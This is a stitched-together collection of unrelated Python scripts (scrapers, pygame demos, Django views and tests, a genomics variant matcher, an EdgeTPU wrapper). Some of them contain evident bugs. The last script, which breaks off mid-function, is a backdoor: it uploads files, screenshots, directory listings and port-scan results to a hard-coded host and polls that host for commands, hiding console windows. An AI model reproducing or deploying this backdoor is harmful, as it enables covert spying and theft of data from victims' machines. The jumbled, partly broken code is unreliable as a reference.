import sys
import requests
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
import time

###############################😎 Split LINES IN .TXT FILE & opening WEBDRIVER at the 1st Url #####################################################

with open('links-penalty.txt','r') as fo:
   count=0
   for line in fo:
      count+=1

      url=line
      from selenium import webdriver
      driver=webdriver.PhantomJS('/home/jkernel/Desktop/python books/phantomjs/bin/phantomjs',service_args=['--load-images=no','--disk-cache=true'])
      driver.get(url)
      time.sleep(3)

 ##################################😎 HOME TEAM CONFIG ###################################################
      search_team1_name= driver.find_element_by_css_selector('div.hostteam div.name')
      search_team2_name= driver.find_element_by_css_selector('div.guestteam div.name')
      team1_name= search_team1_name.text
      team2_name= search_team2_name.text

      #Typwnei ta onomata omadwn
      print(team1_name,"-",team2_name)

      #typwnei tis red cards
      try:
      	search_team1_red_card= driver.find_element_by_css_selector('div.statrow:nth-of-type(2) div.value:nth-of-type(1)')
      	team1_red_card=search_team1_red_card.text

      	print("Home Team Red Cards: ",team1_red_card)
      	search_team2_red_card= driver.find_element_by_css_selector('div.statrow:nth-of-type(2) div.value:nth-of-type(3)')
      	team2_red_card=search_team2_red_card.text
      	print("Away Team Red Cards: ",team2_red_card)

      except NoSuchElementException:
      	print("No red card")

      #dokimazei ean yparxei penalty
      try:
	      search_team1_penalty= driver.find_element_by_css_selector('div.penalty')
	      if(search_team1_penalty.is_displayed()==True):
	      	print(team1_penalty_scored)
      except NoSuchElementException:
      	print("No penalty found")

      try:
	      search_penalty_missed= driver.find_element_by_css_selector('div.miss')
      except NoSuchElementException:
      	print("No missed penalty")
      try:
	      search_team1_own_goal= driver.find_element_by_css_selector('div.own')
	      owngoal=search_team1_own_goal.text
	      print(owngoal)
      except NoSuchElementException:
      	print("No own goal")

      driver.quit()
      print("#######################################################")


import sys, json

ANNOVAR_OUTPUT = 'ANNOVAR_MODIFIED_ClinVar2019_Patho_HasOMIM_Ambiguous_MGOS.tsv'
HPOA_MIM_GENE_PAIRS = '/cluster/u/ayang/SyntheticPatients/onto/hpo/HPOA_unique_mim_gene_pairs.json'
HPOA_ALL_GENES_PATH = '/cluster/u/ayang/SyntheticPatients/onto/hpo/HPOA_unique_genes.json'

out = sys.stdout
if len(sys.argv) > 1:
  out = open(sys.argv[1], 'w')

def extract_annovar_labeled_gene(line):
  ln = line.strip().split('\t')
  return ln[12]

def extract_omim_from_preserved_info_field(line):
  ln = line.strip().split('\t')[25].split(';')
  clndisdb = [x for x in ln if 'CLNDISDB=' in x][0].split('=')[-1].split(',')

  omim = [x for x in clndisdb if 'OMIM:' in x][0]

  return omim

def try_to_get_correct_genesymbol(genes):
  sep = genes.split(';')
  correct_gene = sep[0]
  for gene in sep:
    if gene in hpoa_all_genes:
      correct_gene = gene
  return correct_gene

with open(HPOA_MIM_GENE_PAIRS) as f:
  hpoa_omim_gene_pairs = set(tuple(pair) for pair in json.load(f))

with open(HPOA_ALL_GENES_PATH) as f:
  hpoa_all_genes = set(json.load(f))

matched = 0
unmatched = 0

with open(ANNOVAR_OUTPUT) as f:
  for line in f:
    if line[0] == '#':
      print(line.strip(), file=out)
      continue

    annovar_labeled_gene = extract_annovar_labeled_gene(line)
    if ';' in annovar_labeled_gene:
      annovar_labeled_gene = try_to_get_correct_genesymbol(annovar_labeled_gene)
    omim = extract_omim_from_preserved_info_field(line)

    if tuple([omim, annovar_labeled_gene]) in hpoa_omim_gene_pairs:
      print('{}\t{}|{}'.format(line.strip(), omim, annovar_labeled_gene), file=out)
      matched += 1

    else:
      print('{}\t.'.format(line.strip()), file=out)
      unmatched += 1

print('Successfully matched {} variants from ANNOVAR output that had (OMIM, gene) pairs in HPO-A.'.format(matched))
print('Could not match {} variants because (OMIM, gene) pair not found in HPO-A.'.format(unmatched))

if out != sys.stdout:
  out.close()


import pygame

class Asteroid(pygame.sprite.Sprite):
    def __init__(self,size,x,y,color):
        super().__init__()
        self.size = size
        self.color = color
        self.image = pygame.Surface( (self.size, self.size))
        self.image.fill(self.color)
        self.rect = self.image.get_rect(topleft=(x, y))


from loguru import logger

from sinric import Sinric

apiKey = "Api Key"

def power_state(deviceId, state):
    logger.info("{} {}", deviceId, state)

def set_target_temp(deviceId, value, scale):
    logger.info("{} {} {}", deviceId, value, scale)

def adjust_target_temp(deviceId, value, scale):
    logger.info("{} {} {}", deviceId, value, scale)

def set_thermostat_mode(deviceId, value):
    logger.info("{} {}", deviceId, value)

callbacks = {
    "setPowerState": power_state,
    "SetTargetTemperature": set_target_temp,
    "AdjustTargetTemperature": adjust_target_temp,
    "SetThermostatMode": set_thermostat_mode,
}

if __name__ == "__main__":
    ob = Sinric(apiKey, callbacks)
    ob.handle()


# -*- coding: utf-8 -*-
# @Time : 20-6-4 下午2:13
# @Author : zhuying
# @Company : Minivision
# @File : utility.py
# @Software : PyCharm

from datetime import datetime
import os
import torch
import numpy as np

def get_time():
    return (str(datetime.now())[:-10]).replace(' ', '-').replace(':', '-')

def get_kernel(height, width):
    kernel_size = ((height + 15) // 16, (width + 15) // 16)
    return kernel_size

def get_width_height(patch_info):
    w_input = int(patch_info.split('x')[-1])
    h_input = int(patch_info.split('x')[0].split('_')[-1])
    return w_input,h_input

def parse_model_name(model_name):
    info = model_name.split('_')[0:-1]
    h_input, w_input = info[-1].split('x')
    model_type = model_name.split('.pth')[0].split('_')[-1]

    if info[0] == "org":
        scale = None
    else:
        scale = float(info[0])
    return int(h_input), int(w_input), model_type, scale

def parse_model_name_new_format(model_name):
    info = model_name.split('_')[0:-2]
    h_input, w_input = info[-1].split('x')
    model_type = "MiniFASNetV1SE"

    if info[0] == "org":
        scale = None
    else:
        scale = float(info[3])
    return int(h_input), int(w_input), model_type, scale

def make_if_not_exist(folder_path):
    if not os.path.exists(folder_path):
        os.makedirs(folder_path)

"""
Use in PyTorch.
"""

def accuracy(output, target):
    """Computes the accuracy for multiple binary predictions"""
    pred = output >= 0.5
    truth = target >= 0.5
    acc = pred.eq(truth).sum() / target.numel()
    return acc

class BinaryClassificationMeter(object):
    """Computes and stores the average and current value"""
    def __init__(self):
        self.reset()

    def reset(self):
        self.tp = 0
        self.tn = 0
        self.fp = 0
        self.fn = 0
        self.acc = 0
        self.pre = 0
        self.rec = 0
        self.f1 = 0

    def update(self, pred, target):
        pred = torch.tensor(pred)
        target = torch.tensor(target)
        self.tp = pred.mul(target).sum(0).float()
        self.tn = (1 - pred).mul(1 - target).sum(0).float()
        self.fp = pred.mul(1 - target).sum(0).float()
        self.fn = (1 - pred).mul(target).sum(0).float()
        self.acc = (self.tp + self.tn).sum() / (self.tp + self.tn + self.fp + self.fn).sum()
        self.pre = self.tp / (self.tp + self.fp)
        self.rec = self.tp / (self.tp + self.fn)
        self.f1 = (2.0 * self.tp) / (2.0 * self.tp + self.fp + self.fn)
        self.avg_pre = np.nanmean(self.pre)
        self.avg_rec = np.nanmean(self.rec)
        self.avg_f1 = np.nanmean(self.f1)
        # print("tp, tn, fp, fn: ", self.tp.item(), self.tn.item(), self.fp.item(), self.fn.item())


'''
Created on 10 feb. 2018

@author: Sven
'''

if __name__ == '__main__':
    pass
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib as mpl
from matplotlib.lines import Line2D

# Prepare 100 random numbers to plot
x = np.random.rand(100)
y = np.random.rand(100)
# Prepare 100 random numbers within the range of the number of
# available markers as index
# Each random number will serve as the choice of marker of the
# corresponding coordinates
markerindex = np.random.randint(0, len(Line2D.markers), 100)
print(markerindex)

# shows possible markers and abbreviation
print(Line2D.markers)

# Plot all kinds of available markers at random coordinates
# for each type of marker, plot a point at the above generated
# random coordinates with the marker type
for k, m in enumerate(Line2D.markers):
    i = (markerindex == k)
    plt.scatter(x[i], y[i], marker=m)

plt.show()

# Prepare 5 lines
x = np.linspace(0,20,10)
y1 = x
y2 = x*2
y3 = x*3
y4 = x*4
y5 = x*5

# Plot lines with different marker sizes
plt.plot(x,y1,label = 'x', lw=1, marker='s', ms=5)  # square size 10
plt.plot(x,y2,label = '2x', lw=1, marker='^', ms=6) # triangle size 12
plt.plot(x,y3,label = '3x', lw=1, marker='o', ms=5) # circle size 10
plt.plot(x,y4,label = '4x', lw=1, marker='D', ms=4)  # diamond size 8
plt.plot(x,y5,label = '5x', lw=1, marker='P', ms=6) # filled plus sign
# size 12

# get current axes and store it to ax
ax = plt.gca()
plt.legend()
plt.show()


import time
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import sys

def dailystatistics(finish):
    with open(finish, 'r') as f:
        content = f.readlines()

    times = []
    for i in content:
        if not i.startswith("/") and i:
            temp = time.strptime(i.strip(), "%a %b %d %H:%M:%S CST %Y")
            a = time.strftime('%F',temp)
            times.append(a)

    datas = pd.DatetimeIndex(times)
    jobs = np.ones(len(datas))
    data = pd.DataFrame(data=jobs, index=times, columns=['job'])
    new_jobs = data.groupby(level=0)
    zjw = new_jobs.count()
    zjw.sort_index()['job'].plot()
    plt.show()

if __name__ == "__main__":
    # finish = "/Users/zhangjiawei/Documents/code/researchcode/dailystatistics/finish"
    dailystatistics(finish=sys.argv[1])


import pygame
pygame.init()

FULL_SCREEN_SIZE = pygame.display.list_modes()[0]
WIN_SIZE = [i // 4 for i in FULL_SCREEN_SIZE]

screen = pygame.display.set_mode(WIN_SIZE)

run = True
while run:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            run = False

    pygame.display.flip()

pygame.quit()


from scrapy.selector import HtmlXPathSelector
from scrapy.spider import BaseSpider
from scrapy.http import Request

DOMAIN = 'intranet.iitg.ernet.in/'
URL = 'http://intranet.iitg.ernet.in/'
lis=[]
index_element = 0

class MySpider(BaseSpider):
    name = 'crawler'
    #allowed_domains = [DOMAIN]
    start_urls = [
        URL
    ]

    def parse(self, response):
        hxs = HtmlXPathSelector(response)
        for url in hxs.select('//a/@href').extract():
            if not ( url.startswith('http://') or url.startswith('https://') ):
                url= URL + url
            if 'iitg' in url:
                if url not in lis:
                    lis.append(url)
                    fo=open('finallink.txt','a')
                    fo.write(url + "\n")
                    fo.close()
                    yield Request(url, callback=self.parse)


import requests
import json
from bs4 import BeautifulSoup
import pandas as pd

winners_wiki_url = 'https://en.wikipedia.org/w/api.php?action=parse&format=json&prop=text&page=List_of_2016_Summer_Olympics_medal_winners&section='
# response = requests.get(wiki_url)
# data = json.loads(response.text)
# print(data)

html_index_list = list(range(1, 78))
removeable_indicies = [2, 7, 12, 17, 22, 26, 33, 39, 43, 47, 51, 54, 59, 68, 71, 75, 76, 77, 78]
for index in removeable_indicies:
    if index in (html_index_list):
        html_index_list.remove(index)

for index in html_index_list:
    url = winners_wiki_url + str(index)
    response = requests.get(url)
    HTML = json.loads(response.text)['parse']['text']['*']


import setuptools

with open("../README.md", "r", encoding="utf-8") as fh:
    long_description = fh.read()

setuptools.setup(
    name="cog",
    version="0.0.1",
    author_email="team@replicate.ai",
    description="Containers for machine learning",
    long_description=long_description,
    long_description_content_type="text/markdown",
    url="https://github.com/replicate/cog",
    license="Apache License 2.0",
    python_requires=">=3.6.0",
    install_requires=[
        # intionally loose. perhaps these should be vendored to not collide with user code?
        "flask>=2,<3",
        "redis>=3,<4",
        "requests>=2,<3",
        "PyYAML",
    ],
    packages=setuptools.find_packages(),
)


# -*- coding: utf-8 -*-
import mywallet
import uuosconfig

from kivy.uix.button import Label
from kivy.clock import Clock
from kivy.uix.screenmanager import ScreenManager, Screen
from kivy.uix.popup import Popup
from customui import show_reminder
from lang import tr

class LanguageDialog(Popup):
    def __init__(self, action):
        super(LanguageDialog, self).__init__()
        language = uuosconfig.get_value('language')
        if language is None:
            language = 1
        if language == 0:
            self.index = 0
            self.ids.box_english.active = True
        elif language == 1:
            self.index = 1
            self.ids.box_chinese.active = True

    def on_ok(self):
        print(self.index)
        uuosconfig.set_value('language', self.index)
        lang_name = ['en', 'cn'][self.index]
        uuosconfig.app.switch_lang(lang_name)
        uuosconfig.set_value('lang', lang_name)
        self.dismiss()

    def on_cancel(self):
        self.dismiss()

class ThemingDialog(Popup):
    def __init__(self):
        super(ThemingDialog, self).__init__()
        theme = uuosconfig.get_current_theme()
        self.setting = uuosconfig.get_current_theme()
        #self.ids.id_switch_theme.bind(on_press=uuosconfig.app.switch_theme)
        if theme == 'normal':
            self.ids.id_normal.active = True
            self.ids.id_black.active = False
            self.setting = 'normal'
        else:
            self.ids.id_normal.active = False
            self.ids.id_black.active = True
            self.setting = 'black'
    def on_ok(self):
        show_reminder(tr._('Restart App to make the new settings take effect'))
        uuosconfig.set_current_theme(self.setting)
        uuosconfig.app.switch_theme(self.setting)
        #self.change_bgcolor(self.setting)
        #print(uuosconfig.app.theme)
        self.dismiss()

class SettingScreen(Screen):
    def __init__(self, **kargs):
        super(SettingScreen, self).__init__(**kargs)
        print(uuosconfig.get_current_theme())

    def swith_language(self):
        self.dialog = LanguageDialog(self.on_ok)
        self.dialog.ids.id_chinese.text = '中文'
        self.dialog.open()

    def check_upgrade(self):
        show_reminder(tr._("No upgrade detected"))

    def on_ok(self):
        self.dialog.on_ok()
        self.dialog.dismiss()

    def swith_theme(self):
        popup = ThemingDialog()
        popup.open()
        print(uuosconfig.app.theme)

    # def set_bgcolor(self,theme):
    #     if theme == 'normal':
    #         uuosconfig.bg_color = [0.965,0.965,0.965,1]
    #     else
    #         uuosconfig.bg_color = [0.1176,0.1294,0.1647,1]


from __future__ import absolute_import, print_function, unicode_literals

from django.db.models.signals import post_init, post_save
from django.dispatch import Signal
from django.test import TestCase
from tests.myapp.models import Foo, test_handler
from roadies.handlers import handler, Handler

try:
    import mock
except ImportError:
    from unittest import mock

def async_action(*args):
    pass

@handler
def do_something(sender, foo, bar, **kwargs):
    """Test functional handlers."""
    async_action(foo, bar)

@handler(post_init, sender='myapp.Foo', dispatch_uid='testing')
def do_something_else(sender, instance, **kwargs):
    async_action(instance)

test_signal = Signal(providing_args=['foo', 'bar'])

class HandlerTests(TestCase):

    def test_do_something_is_handler_instance(self):
        self.assertIsInstance(do_something, Handler)

    def test_connect_no_sender(self):
        do_something.connect(test_signal, dispatch_uid='testing')
        result = do_something.disconnect(test_signal, dispatch_uid='testing')
        self.assertTrue(result)
        result = do_something.disconnect(test_signal, dispatch_uid='testing')
        self.assertFalse(result)

    def test_connect_with_sender_string(self):
        do_something.connect(
            test_signal,
            sender='myapp.Foo',
            dispatch_uid='testing'
        )
        disconnected = do_something.disconnect(
            test_signal,
            sender='myapp.Foo',
            dispatch_uid='testing'
        )
        self.assertTrue(disconnected)

        disconnected = do_something.disconnect(
            test_signal,
            sender='myapp.Foo',
            dispatch_uid='testing'
        )
        self.assertFalse(disconnected)

    def test_do_something_name(self):
        self.assertEqual(do_something.__name__, 'do_something')

    def test_do_something_module(self):
        self.assertEqual(do_something.__module__, 'tests.test_handlers')

    def test_do_something_doc(self):
        self.assertEqual(do_something.__doc__, 'Test functional handlers.')

    def test_do_something_does_something_on_signal(self):
        do_something.connect(test_signal, dispatch_uid='testing')
        with mock.patch('tests.test_handlers.async_action') as func:
            test_signal.send(None, foo=1, bar=2)
            self.assertTrue(func.called)
            func.assert_called_once_with(1, 2)

    def test_do_something_else_is_handler(self):
        self.assertIsInstance(do_something_else, Handler)

    def test_do_something_else_executed_on_post_init(self):
        with mock.patch('tests.test_handlers.async_action') as func:
            instance = Foo(bar='baz')
            self.assertTrue(func.called)
            func.assert_called_once_with(instance)

    def test_calling_the_handler_directly(self):
        with mock.patch('tests.test_handlers.async_action') as func:
            do_something(None, 'foo', 'bar')
            self.assertTrue(func.called)
            func.assert_called_once_with('foo', 'bar')

    def test_autodiscover_works(self):
        self.assertTrue(
            post_save.disconnect(test_handler, dispatch_uid='test_handler')
        )


from django.conf.urls import url
from django.contrib.auth.views import LoginView, LogoutView

from main.views import RegistrationView, EmailVerificationView

urlpatterns = [
    url(r'^accounts/registration/$', RegistrationView.as_view(), name='registration'),
    url(r'^accounts/email_verification/?(?P<uuid>[a-z0-9\-]+)?/$',
        EmailVerificationView.as_view(), name='email_verification'),
    url(r'^accounts/login/$',  LoginView.as_view(), name='login'),
    url(r'^accounts/logout/$', LogoutView.as_view(), name='logout'),
]


from django.shortcuts import render_to_response
from django.db.models import Q
from django.core.context_processors import csrf
from django.http import HttpResponseRedirect
from django.core.urlresolvers import reverse
from usuarios.models import *
from gestion_cuestionarios.forms import *
from django.template import RequestContext

from cuestionarios.models import Cuestionario

def view_lista_cuestionarios(request):
    permisos={}
    if "user" in request.COOKIES:
        id=int(request.COOKIES.get("user", ''))
        usuario=User.objects.get(id=id)
        userpermisos=UserPermisos.objects.get(user=usuario.id)
        permisos['issueper']=usuario.is_superuser
        permisos['isadmin']=userpermisos.admin
        permisos['issup']=userpermisos.supervisor
        permisos['isexp']=userpermisos.experto
        if userpermisos.experto:
            cuestionarios=Cuestionario.objects.filter(user=id)
            cuestionariosactivos=Cuestionario.objects.filter(~Q(pk__in=cuestionarios)& Q(activo=True))
            contexto = {'cuestionarios': cuestionarios, 'permisos':permisos, 'cuestionarios_activos':cuestionariosactivos, 'user':usuario, 'userid':id}
        elif userpermisos.supervisor:
            cuestionarios=Cuestionario.objects.all()
            contexto = {'cuestionarios': cuestionarios, 'permisos':permisos, 'user':usuario, 'userid':id}
        else:
            cuestionarios=Cuestionario.objects.filter(activo=True)
            contexto = {'cuestionarios_activos': cuestionarios, 'permisos':permisos, 'user':usuario, 'userid':id}
        mensaje=''

        if "mensaje" in request.COOKIES:
            mensaje=request.COOKIES.get("mensaje", '')
            contexto['mensaje']=mensaje
        response=render_to_response(r'gestion_cuestionarios/lista_cuestionarios.html',RequestContext(request, contexto))
        response.delete_cookie("mensaje")
        return response
    else:
        return HttpResponseRedirect('/')

def view_nuevo_cuestionario(request):
    if "user" in request.COOKIES:
        userid=int(request.COOKIES.get("user", ''))
        if request.method=="POST":
            form = CuestionarioForm(request.POST)
            if form.is_valid():
                cuestionario=Cuestionario()
                cuestionario.nombre=form.cleaned_data['nombre']
                cuestionario.descripcion=form.cleaned_data['descripcion']
                cuestionario.user_id=userid
                cuestionario.active=False
                cuestionario.save()
                return HttpResponseRedirect(reverse(view_lista_cuestionarios))
        else:
            form = CuestionarioForm()
        contexto={'form':form}
        contexto.update(csrf(request))
        return render_to_response(r'gestion_cuestionarios/nuevo_cuestionario.html',contexto)
    return HttpResponseRedirect('/')

def view_eliminar_cuestionario(request):
    if 'idcuestionario' in request.GET:
        cuest_id = request.GET['idcuestionario']
        cuestionario = Cuestionario.objects.get(pk=cuest_id)
        cuestionario.delete()
    return HttpResponseRedirect(reverse(view_lista_cuestionarios))

def view_activar_desc_cuestionarios(request, id):
    cuestionario=Cuestionario.objects.get(pk=id)
    cuestionario.activo=not cuestionario.activo
    cuestionario.save()
    return HttpResponseRedirect(reverse(view_lista_cuestionarios))


import pygame
from pygame import font
import os
bundle_dir = sys._MEIPASS
import sys
#from images import *

pygame.init()
x = pygame.font.get_fonts()
for fnts in x:
	if fnts == 'freesandsbold':
		print ("found it")

black = (0,0,0)

textBoxImage = pygame.image.load(bundle_dir + '/images/sideMenuBox.png')
largeText = pygame.font.Font(bundle_dir + '/fonts/FreeSansBold.ttf',25)
hldtext = "Press Z to quit"

clock = pygame.time.Clock()
gameDisplay = pygame.display.set_mode((800,600))

displaying = True

def text_objects(text, font):
	textSurface = font.render(text, True, black)
	return textSurface, textSurface.get_rect()

#largeText = pygame.font.Font('freesansbold.ttf',25)

while displaying:
	for event in pygame.event.get():
		if event.type == pygame.KEYUP and event.key == pygame.K_z:
			diplaying = False
			sys.exit()
			pygame.quit()
			#quit()

	gameDisplay.fill((255, 255, 255))

	gameDisplay.blit(textBoxImage, (550,1))
	BottomSurf, BottomRect = text_objects(hldtext, largeText)
	BottomRect.center = ((200),(370))
	gameDisplay.blit(BottomSurf, BottomRect)
	pygame.display.flip()
	clock.tick(15)


"""Modified EdgeTPU classes for ease of use."""
import logging
from edgetpu.detection.engine import DetectionEngine  # pylint: disable=import-error

from edgetpu_server.models.candidate import LabeledDetectionCandidate

_LOGGER = logging.getLogger(__name__)

# pylint: disable=too-few-public-methods
class DetectionFilter:
    """Detection filter data."""

    def __init__(self, threshold, labels, labels_to_report):
        _LOGGER.warn('Initializing detection engine')
        self.threshold = threshold
        self.labels = labels
        self.labels_to_report = labels_to_report

    def filter_candidates(self, candidates):
        """Filter the detection engine results."""
        filtered_candidates = []
        for result in candidates:
            label = self.labels.get(result.label_id, None)
            if not label or label not in self.labels_to_report:
                continue
            filtered_candidates.append(LabeledDetectionCandidate(label, result))

        return filtered_candidates

class FilteredDetectionEngine(DetectionEngine):
    """Detection engine that filters detected objects."""

    def __init__(
            self,
            detection_filter,
            model_path,
            detection_lock,
            device_path=None):
        """
        Args:
          model_path (str): Path to a TensorFlow Lite (``.tflite``) file.
            This model must be `compiled for the Edge TPU
            <https://coral.withgoogle.com/docs/edgetpu/compiler/>`_; otherwise, it simply executes
            on the host CPU.
          device_path (str): The device path for the Edge TPU this engine should use. This argument
            is needed only when you have multiple Edge TPUs and more inference engines than
            available Edge TPUs. For details, read `how to use multiple Edge TPUs
            <https://coral.withgoogle.com/docs/edgetpu/multiple-edgetpu/>`_.

        Raises:
          ValueError: If the model's output tensor size is not 4.
        """
        _LOGGER.warn('Initializing filtered detection engine')
        DetectionEngine.__init__(self, model_path, device_path)
        self._filter = detection_filter
        self._detection_lock = detection_lock

    def filtered_detect_with_image(self, image):
        """Perform object detection on an image and passed through the filter criteria."""
        self._detection_lock.acquire()
        try:
            return self._filter.filter_candidates(
                self.detect_with_image(
                    image,
                    threshold=self._filter.threshold / 100,
                    keep_aspect_ratio=True,
                    relative_coord=False
                )
            )
        finally:
            self._detection_lock.release()


"""full datetime

Revision ID: 144649a54955
Revises: 305ace38cf61
Create Date: 2015-10-15 15:03:12.623726

"""

# revision identifiers, used by Alembic.
revision = '144649a54955'
down_revision = '305ace38cf61'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import mysql

try:
    from config import DATABASE_URL
except:
    from configdist import DATABASE_URL

def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    if DATABASE_URL[:5] == 'mysql':
        op.alter_column('media', 'created_at', type_=mysql.DATETIME(fsp=6), nullable=True)
    ### end Alembic commands ###

def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    if DATABASE_URL[:5] == 'mysql':
        op.alter_column('media', 'created_at', type_=mysql.DATETIME(fsp=6), nullable=True)
    ### end Alembic commands ###


# Script to scrape,download and store twitter data into a MongoDB database. The data will be used to feed ML algoirthms and analyze sentiment, spam and other analysis.
# A modified version of GetOldTweets3 library is used. A .10 sec sleep timer is added to prevent passing normal twitter API request limits. We want to not abuse our calls :).
# Script run time is dependent on start date to current date but the average time to return 1000 tweets for one day is 40 seconds.
import GetOldTweets3 as tweetory
import mongoengine as mongo
from tweet import Tweet
import datetime
from argparse import ArgumentParser
from dateutil.relativedelta import *
from time import time
import requests
import random

# stores data into a Schema and saves it into MongoDB. The data is the typical tweet data that can be gathered from scraping like username, likes, retweets etc... Additionally we use Textblob to store the sentiment on the tweet.
# We're storing sentiment now because even when we do the spam classification we still want the sentiment as extra information. Spam is still data!

def store_data(tweet_list):
    for tweet in tweet_list:
        chirp = Tweet()
        chirp.tweet_id = tweet.id
        chirp.permalink = tweet.permalink
        chirp.date = tweet.date
        chirp.username = tweet.username
        chirp.author_id = tweet.author_id
        chirp.tweet = tweet.text
        chirp.retweets = tweet.retweets
        chirp.likes = tweet.favorites
        chirp.comments = tweet.comments
        chirp.mentions = tweet.mentions
        chirp.hashtags = tweet.hashtags
        chirp.cashtags = tweet.cashtags
        chirp.urls = tweet.urls
        try:
            chirp.save()
        except Exception as e:
            print("ERROR: ", e)
            continue
    print("Saved...")

def get_proxy(previous="", proxies=[]):
    if not proxies:
        with open("proxy-list.txt") as f:
            proxies = f.read().splitlines()

    proxy = proxies[random.randrange(len(proxies))]

    if proxy == previous:
        return get_proxy(previous, proxies)
    return proxy

if (__name__ == "__main__"):
    parser = ArgumentParser(
        description="Stores cryptocurrency related tweets into a MongoDB database.")
    parser.add_argument(
        "--max", type=int, help="Value for maximum number of tweets to be returned per day. Default 1000.", default=1000)
    parser.add_argument(
        "--start", type=str, help="Start date to retrieve tweets from in ISO format YYYY-MM-DD. Default: 2015-01-01", default="2015-01-01")
    parser.add_argument(
        "--end", type=str, help="End date to retrieve tweets up to in ISO format YYYY-MM-DD. Default: Today non inclusive.", default=datetime.date.today().isoformat())
    parser.add_argument(
        "--keywords", type=str, help="Keywords to be used for searching", nargs="*",
        default=["bitcoin", "altcoin", "cryptocurrency", "blockchain", "DAO", "dApp", "decentralized app", "digital asset", "cryptotokens", "cryptoassets", "masternode", "proof of stake", "proof of work", "pump and dump", "satoshi", "satoshi nakamoto", "shilling", "solidity", "the dao", "tokenized",
                 "digital economy", "crypto whale", "white paper", "airdrop"])
    parser.add_argument(
        "--db", type=str, help="Databse name to be used in mongoDB", default="crypto-twitter")

    arguments = parser.parse_args()

    print("Welcome to Crypto Tweet Historical Database!")

    try:
        print(f"Connecting to MongoDb server {arguments.db}...")
        mongo.connect(arguments.db)
    except Exception as e:
        print("Failed to connect to MongoDB server...")
        print("ERROR: ", e)
        print("Exiting...")
        exit()
    else:
        print("Connected...")

    try:
        start_date = datetime.datetime.strptime(
            arguments.start, "%Y-%m-%d").date()
        end_date = datetime.datetime.strptime(arguments.end, "%Y-%m-%d").date()

    except Exception as e:
        print("Received start and end dates were not parsable. ISO format(YYYY-MM-DD) required")
        exit()

    date_delta = relativedelta(days=+1)
    max_tweets = arguments.max
    search = arguments.keywords
    proxy = get_proxy()

    print(
        f"Starting tweet retrieval from {start_date.isoformat()} to {end_date.isoformat()}. {max_tweets} per day per search term. For {len(search)} search terms.")
    print(f"Using proxy:{proxy}")
    # For each term loop through each day and pull the historical data by scraping twitter data using GetOldTweets3 library. Requests are throttled via a 0.10 sec sleep so as not to ever exceed standard twitter
    # API limits. Average time to retrieve 1000 tweets per each day is 39sec. You can estimate the time in seconds to completion: (start_date - today_date) * 39sec/1000tweet * len(search_terms).
    for term in search:
        while (start_date != end_date):
            since = start_date.isoformat()
            until = (start_date + date_delta).isoformat()

            print(
                f"Retrieving tweets for keyword {term.upper()} between {since} and {until}.")
            print(f"Using proxy:{proxy}")

            tweetCriteria = tweetory.manager.TweetCriteria().setQuerySearch(
                term).setSince(since).setUntil(until).setMaxTweets(max_tweets).setLang("en")
            t0 = time()
            try:
                tweet_list = tweetory.manager.TweetManager.getTweets(
                    tweetCriteria=tweetCriteria, proxy=proxy)
            except Exception as e:
                print("Failed in retrieving tweets...")
                print("ERROR: ", e)
                print("Changing proxy...")
                proxy = get_proxy(proxy)
                print("Retrying last search..")
                print(
                    f"Retrieving tweets for keyword {term.upper()} between {since} and {until}")
                t0 = time()
                try:
                    tweet_list = tweetory.manager.TweetManager.getTweets(
                        tweetCriteria=tweetCriteria, proxy=proxy)
                except Exception as e:
                    print("Failed in retrieving tweets...")
                    print("ERROR: ", e)
                else:
                    print(
                        f"{len(tweet_list)} tweets retrieved in {time() - t0} seconds. Storing into database . . .")
                    store_data(tweet_list)
                    start_date = start_date + date_delta
            else:
                print(
                    f"{len(tweet_list)} tweets retrieved in {time() - t0} seconds. Storing into database . . .")
                store_data(tweet_list)
                start_date = start_date + date_delta
                print("Changing proxy...")
                proxy = get_proxy(proxy)

        print(
            f"Retrieved tweets stored for {term.upper()}...\nContinuing...\n")
        # reset start_date back to original value if not the while loop will not initiate do to a false condition being met.
        start_date = datetime.datetime.strptime(
            arguments.start, "%Y-%m-%d").date()
        print("Changing proxy...")
        proxy = get_proxy(proxy)
    print("All search terms saved...\nExiting...\nGoodbye.")


import requests
import subprocess
import time
import os
import random
import socket
from PIL import ImageGrab as imagegrab
import tempfile
import shutil

def subprocess_args(include_stdout=True):
    shell = True
    if hasattr(subprocess, 'STARTUPINFO'):
        si = subprocess.STARTUPINFO()
        si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        env = os.environ
    else:
        si = None
        env = None
    if include_stdout:
        ret = {'stdout': subprocess.PIPE}
    else:
        ret = {}
    ret.update({'stdin': subprocess.PIPE,
                'stderr': subprocess.PIPE,
                'startupinfo': si,
                'env': env,
                'shell': shell})
    return ret

def changeDirectory(directory):
    os.chdir(directory)
    requests.post(url = 'http://192.168.0.10',data = ('[+] CWD is ' + os.getcwd()))

def grabfile(path):
    if os.path.exists(path):
        rpath = os.path.realpath(path)
        url = 'http://192.168.0.10/store'
        files = {'file': open(path, 'rb'),'path': rpath}
        r = requests.post(url, files=files)
    else:
        post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')

def takescreenshot():
    dirpath = tempfile.mkdtemp()
    path = dirpath + '\img.jpg'
    imagegrab.grab().save(path, "JPEG")
    url = 'http://192.168.0.10/store'
    files = {'file': open(path, 'rb'),'path': 'screencap.jpg'}
    r = requests.post(url, files=files)
    files['file'].close()
    shutil.rmtree(dirpath)

def search(path,ext):
    list = ''
    for dirpath, dirname, files in os.walk(path):
        for file in files:
            if file.endswith(ext):
                list = list + '\n' + os.path.join(dirpath,file)
    requests.post(url='http://192.168.0.10',data=list)

def scanner(ip,ports):
    scan_result = ''
    for port in ports.split(','):
        try:
            sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            output = sock.connect_ex((ip,int(port)))

            if output == 0:
                scan_result = scan_result + "[+] Port " + port + " is open.\n"
            else:
                scan_result = scan_result + "[+] Port " + port + " is closed or the host is not reachable.\n"
            sock.close()
        except Exception as e:
            pass
    requests.post(url='http://192.168.0.10',data=scan_result)

def connect():
    while True:
        req = requests.get('http://192.168.0.10')
        command = req.text

        if "terminate" in command:
            return 1
        elif 'cd ' in command:
            code,directory = command.split()
